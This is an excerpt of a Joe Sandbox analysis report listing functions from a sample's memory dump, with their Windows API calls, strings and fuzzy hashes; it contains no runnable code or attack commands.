Instruction Fuzzy Hash: 4B41C171A00308AFEF229F64CC85FEE77A8EF08350F15046AF589A7291C77599848B60

Function 00374C23 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00374C5E
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00374C8A
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00374CCC
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00374CE1
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00374CEE
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00374D1E
InternetCloseHandle.WININET(00000000), ref: 00374D65

Part of subcall function 003756A9: GetLastError.KERNEL32(?,?,00374A2B,00000000,00000000,00000001), ref: 003756BE

Strings

, xrefs: 00374D17

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
String ID:
API String ID: 1241431887-3916222277
Opcode ID: 3e4dd7e6be7f1932dff8256de8696234c056d7595388552aa5da229ac00b3ec2
Instruction ID: e2f87afd80374590d6d7b9f5a4f12c9983f3c68c18e3f0523c8ed5fe21fee3f3
Opcode Fuzzy Hash: 3e4dd7e6be7f1932dff8256de8696234c056d7595388552aa5da229ac00b3ec2
Instruction Fuzzy Hash: AC41A1B1501218BFEB279F64CC85FFB77ACEF09354F00811AFA099A151D778AD448BA0

Function 00388DD5 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00388DF4
GetWindowLongW.USER32(017D9720,000000F0), ref: 00388E27
GetWindowLongW.USER32(017D9720,000000F0), ref: 00388E5C
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00388E8E
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00388EB8
GetWindowLongW.USER32(?,000000F0), ref: 00388EC9
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00388EE3

Strings

@U=u, xrefs: 00388DF4, 00388E8E, 00388EB8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: @U=u
API String ID: 2178440468-2594219639
Opcode ID: 7b674351ba52884a09dfa8bc46dc2b0a819491206ccde86cb6ca75074130c3c4
Instruction ID: 2eefe1c2524f78c0665fe239fd8a04dcb67cd18006e19436bdd77bd5a16005f1
Opcode Fuzzy Hash: 7b674351ba52884a09dfa8bc46dc2b0a819491206ccde86cb6ca75074130c3c4
Instruction Fuzzy Hash: C031F131600251AFDB22EF58DD84F9537E9FB4A714F9A52A4F5068F2B2CBB1AC40DB41

Function 0037BAE6 Relevance: 13.9, APIs: 9, Instructions: 419COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,003BDBF0), ref: 0037BBA1
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,003BDBF0), ref: 0037BBD5
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 0037BD33
SysFreeString.OLEAUT32(?), ref: 0037BD5D
StringFromGUID2.COMBASE(?,?,00000028), ref: 0037BEAD
ProgIDFromCLSID.COMBASE(?,?), ref: 0037BEF7
CoTaskMemFree.COMBASE(?), ref: 0037BF14

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Free$FromString$FileLibraryModuleNamePathProgQueryTaskType
String ID:
API String ID: 793797124-0
Opcode ID: 07dfb2fe02aef7e2f4cc5e956b28bc90db8b663c5d0b4fd6647bb5b4008622bb
Instruction ID: 3ff2fec2dc996e0acd741b8c7f4b9cba5f9f18e8d2ddf18ab7a240d6bc8e7c22
Opcode Fuzzy Hash: 07dfb2fe02aef7e2f4cc5e956b28bc90db8b663c5d0b4fd6647bb5b4008622bb
Instruction Fuzzy Hash: D2F11975A00109EFCF16DFA4C884EAEB7B9FF89714F118459F909AB250DB35AE41CB50

Function 0033B86E Relevance: 13.7, APIs: 9, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 003249CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00324954,00000000), ref: 00324A23

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0033B85B), ref: 0033B926
KillTimer.USER32(00000000,?,00000000,?,?,?,?,0033B85B,00000000,?,?,0033AF1E,?,?), ref: 0033B9BD
DestroyAcceleratorTable.USER32(00000000), ref: 0039E775
DeleteObject.GDI32(00000000), ref: 0039E7EB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Destroy$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 2402799130-0
Opcode ID: fe30366c01b9179810d4edfcedc5196ab91ad3af8dffced81b6bd814456815b8
Instruction ID: a0728d186ebc632f40a4db0aa11813c9ca57ac11cbd75d124d9efd224a858dae
Opcode Fuzzy Hash: fe30366c01b9179810d4edfcedc5196ab91ad3af8dffced81b6bd814456815b8
Instruction Fuzzy Hash: A6618631500751CFDB37DF65E8C8B2AB7F9FB46712F114629E2868AAB0C770A890CB40

Function 0033F6B5 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0039E9A0,00000004,00000000,00000000), ref: 0033F737
ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,0039E9A0,00000004,00000000,00000000), ref: 0033F77E
ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,0039E9A0,00000004,00000000,00000000), ref: 0039EB55
ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0039E9A0,00000004,00000000,00000000), ref: 0039EBC1

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 3b297b4606dd017677f5b8afc2fe6849cb2c096f908794e8a7f43b48c735de5e
Instruction ID: 2b23c674538d6852c386205f325174a7c0bbd3d61a9550e05e8f3a96d215bd65
Opcode Fuzzy Hash: 3b297b4606dd017677f5b8afc2fe6849cb2c096f908794e8a7f43b48c735de5e
Instruction Fuzzy Hash: 1C41FF31A08681DEDF3797388CC9B7A7A9D6B46385FE6092DF08B46D71C674E840D711

Function 0035CDE6 Relevance: 13.6, APIs: 9, Instructions: 65sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0035E138: GetWindowThreadProcessId.USER32(?,00000000), ref: 0035E158
Part of subcall function 0035E138: GetCurrentThreadId.KERNEL32 ref: 0035E15F
Part of subcall function 0035E138: AttachThreadInput.USER32(00000000,?,0035CD34,?,00000001), ref: 0035E166

MapVirtualKeyW.USER32(00000025,00000000), ref: 0035CE06
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0035CE23
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 0035CE26
MapVirtualKeyW.USER32(00000025,00000000), ref: 0035CE2F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 0035CE4D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0035CE50
MapVirtualKeyW.USER32(00000025,00000000), ref: 0035CE59
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 0035CE70
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0035CE73

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 6cfad99808b540104a872b05824b54464c3dff9cc77832e4985e62670804fe36
Instruction ID: d468cd79cc1c09278e30abba7311538e4fd79434b216ef6b251c54657c666ad7
Opcode Fuzzy Hash: 6cfad99808b540104a872b05824b54464c3dff9cc77832e4985e62670804fe36
Instruction Fuzzy Hash: E91104B1610618BEF7122F60CC8EF6A3A2DDB0E755F500415F3416B0F0CAF26D409AA4

Function 0037C604 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 0035A857: CLSIDFromProgID.COMBASE ref: 0035A874
Part of subcall function 0035A857: ProgIDFromCLSID.COMBASE(?,00000000), ref: 0035A88F
Part of subcall function 0035A857: lstrcmpiW.KERNEL32(?,00000000), ref: 0035A89D
Part of subcall function 0035A857: CoTaskMemFree.COMBASE(00000000), ref: 0035A8AD

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0037C6AD
_memset.LIBCMT ref: 0037C6BA
_memset.LIBCMT ref: 0037C7D8
CoCreateInstanceEx.COMBASE(?,00000000,00000015,?,00000001,00000001), ref: 0037C804
CoTaskMemFree.COMBASE(?), ref: 0037C80F

Strings

NULL Pointer assignment, xrefs: 0037C85D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 7cf7b6957eebbb2f877ba55bd56b021bb2009381ca2b222dfb1c8feb1bc8a864
Instruction ID: e90395b478c29168b02f8ab8f31f1e28187b157f5682afe6cdbc8cdfd31cb9c1
Opcode Fuzzy Hash: 7cf7b6957eebbb2f877ba55bd56b021bb2009381ca2b222dfb1c8feb1bc8a864
Instruction Fuzzy Hash: 35913D71D10228AFDB22DF94DC81EDEBBB9BF04710F108119F519AB251EB745A45CFA1

Function 00381AD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00381B09
Process32FirstW.KERNEL32(00000000,?), ref: 00381B17
__wsplitpath.LIBCMT ref: 00381B45

Part of subcall function 0034297D: __wsplitpath_helper.LIBCMT ref: 003429BD

_wcscat.LIBCMT ref: 00381B5A
Process32NextW.KERNEL32(00000000,?), ref: 00381BD0
CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00381BE2

Strings

hE=, xrefs: 00381AED

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
String ID: hE=
API String ID: 1380811348-1826862299
Opcode ID: e82ddd75883f608c9e935a505e3873cca2eb33b5da2322748e5d9dd5d1f4f242
Instruction ID: bbf12ce9c613668bfcaffa7e2e7f92c4a4683a332db100fcebd04ebda268e1a7
Opcode Fuzzy Hash: e82ddd75883f608c9e935a505e3873cca2eb33b5da2322748e5d9dd5d1f4f242
Instruction Fuzzy Hash: 185190715043109FD322EF24D885EABB7ECEF89754F00491EF5869B251EB70EA05CB92

Function 00381620 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 00366F5B: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00366F7D
Part of subcall function 00366F5B: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00366F8D
Part of subcall function 00366F5B: CloseHandle.KERNEL32(00000000,?,00000000), ref: 00367022

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0038168B
GetLastError.KERNEL32 ref: 0038169E
OpenProcess.KERNEL32(00000001,00000000,?), ref: 003816CA
TerminateProcess.KERNEL32(00000000,00000000), ref: 00381746
GetLastError.KERNEL32(00000000), ref: 00381751
CloseHandle.KERNEL32(00000000), ref: 00381786

Strings

SeDebugPrivilege, xrefs: 003816A9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: f332aeec0eb93c3997719c6296dcc45c640a9dacdc8d1fc42b0a2477ffa1b6c2
Instruction ID: 4f965f37b13f02b5904f9174a8a68957c4425e4b9b7417e20181bb208635c40c
Opcode Fuzzy Hash: f332aeec0eb93c3997719c6296dcc45c640a9dacdc8d1fc42b0a2477ffa1b6c2
Instruction Fuzzy Hash: F141CF72700201AFDB06EF54C8E2FADB7A9AF59304F098049F9069F2D2EBB5D905CB51

Function 0038E1A7 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(003E1810,00000000,?,?,003E1810,003E1810,?,0039E2D6), ref: 0038E21B
EnableWindow.USER32(?,00000000), ref: 0038E23F
ShowWindow.USER32(003E1810,00000000,?,?,003E1810,003E1810,?,0039E2D6), ref: 0038E29F
ShowWindow.USER32(?,00000004,?,?,003E1810,003E1810,?,0039E2D6), ref: 0038E2B1
EnableWindow.USER32(?,00000001), ref: 0038E2D5
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0038E2F8

Strings

@U=u, xrefs: 0038E2F8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID: @U=u
API String ID: 642888154-2594219639
Opcode ID: 4d3516e719e28b4634661544aceddc897a5b594aeada60eca2203d8604f49c1d
Instruction ID: 96ac288d8d2e5aae6a8bea4c86295c7d2a66cfdc0ccac11a614602a649747e9f
Opcode Fuzzy Hash: 4d3516e719e28b4634661544aceddc897a5b594aeada60eca2203d8604f49c1d
Instruction Fuzzy Hash: 3B419E35200244EFDB27FF68C499B947BE9BF0A304F1945F9EA598F6A2C731A841CB51

Function 00366237 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 003662D6

Strings

blank, xrefs: 00366258
stop, xrefs: 003662A7
question, xrefs: 0036628F
info, xrefs: 00366277
warning, xrefs: 003662BF

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 286ecaf2ad7912d350699e45b0e3f78f58b37f8b93b439b881e0061dd6199c9c
Instruction ID: 6ef02dcf68f32903e133f45f1b90d7c8f0230f5755b2aca1fd1b8b6043266783
Opcode Fuzzy Hash: 286ecaf2ad7912d350699e45b0e3f78f58b37f8b93b439b881e0061dd6199c9c
Instruction Fuzzy Hash: 88110D32248742BAD7075B549CA3DAA77DCDF173A4B10442EF5016A6C6F7B0BE404265

Function 0036757B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000066,?,00000100,00000000), ref: 00367595
LoadStringW.USER32(00000000), ref: 0036759C
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 003675B2
LoadStringW.USER32(00000000), ref: 003675B9
_wprintf.LIBCMT ref: 003675DF
MessageBoxW.USER32(00000000,?,?,00011010), ref: 003675FD

Strings

%s (%d) : ==> %s: %s %s, xrefs: 003675DA

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 8b8818723ca49d807503d4eac10781717768eb48078a9ec23e4f6b13ae6d546f
Instruction ID: acb7f04c617e38b511acecb6c11f0fb1acfdd1b56f60b03d2f6015c34b55663f
Opcode Fuzzy Hash: 8b8818723ca49d807503d4eac10781717768eb48078a9ec23e4f6b13ae6d546f
Instruction Fuzzy Hash: 720186F6900208BFE712A7E4DD89EE7376CD705304F404491B746E6451EA749E848B35

Function 00382A0A Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

Part of subcall function 00383AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00382AA6,?,?), ref: 00383B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00382AE7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 5fd9bb8c6ddf5f9a06ffb3185048b45d58604e6e227d62251d34753872d204b5
Instruction ID: 8a1e5bf904eae3ffc4e91a9dce7e41f5ecbecf1d09fdfc578969dcb4a18c87eb
Opcode Fuzzy Hash: 5fd9bb8c6ddf5f9a06ffb3185048b45d58604e6e227d62251d34753872d204b5
Instruction Fuzzy Hash: 80915875604301AFCB06EF54C891B6EBBE9FF88310F14885DF9969B2A1DB34E945CB42

Function 00379A66 Relevance: 12.2, APIs: 8, Instructions: 247networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00379B38
WSAGetLastError.WS2_32(00000000), ref: 00379B45
__WSAFDIsSet.WS2_32(00000000,?), ref: 00379B6F
WSAGetLastError.WS2_32(00000000), ref: 00379B9F
htons.WS2_32(?), ref: 00379C51
inet_ntoa.WS2_32(?), ref: 00379C0C

Part of subcall function 0035E0F5: _strlen.LIBCMT ref: 0035E0FF
Part of subcall function 0035E0F5: _memmove.LIBCMT ref: 0035E121

_strlen.LIBCMT ref: 00379CA7
_memmove.LIBCMT ref: 00379D10

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorLast_memmove_strlen$htonsinet_ntoaselect
String ID:
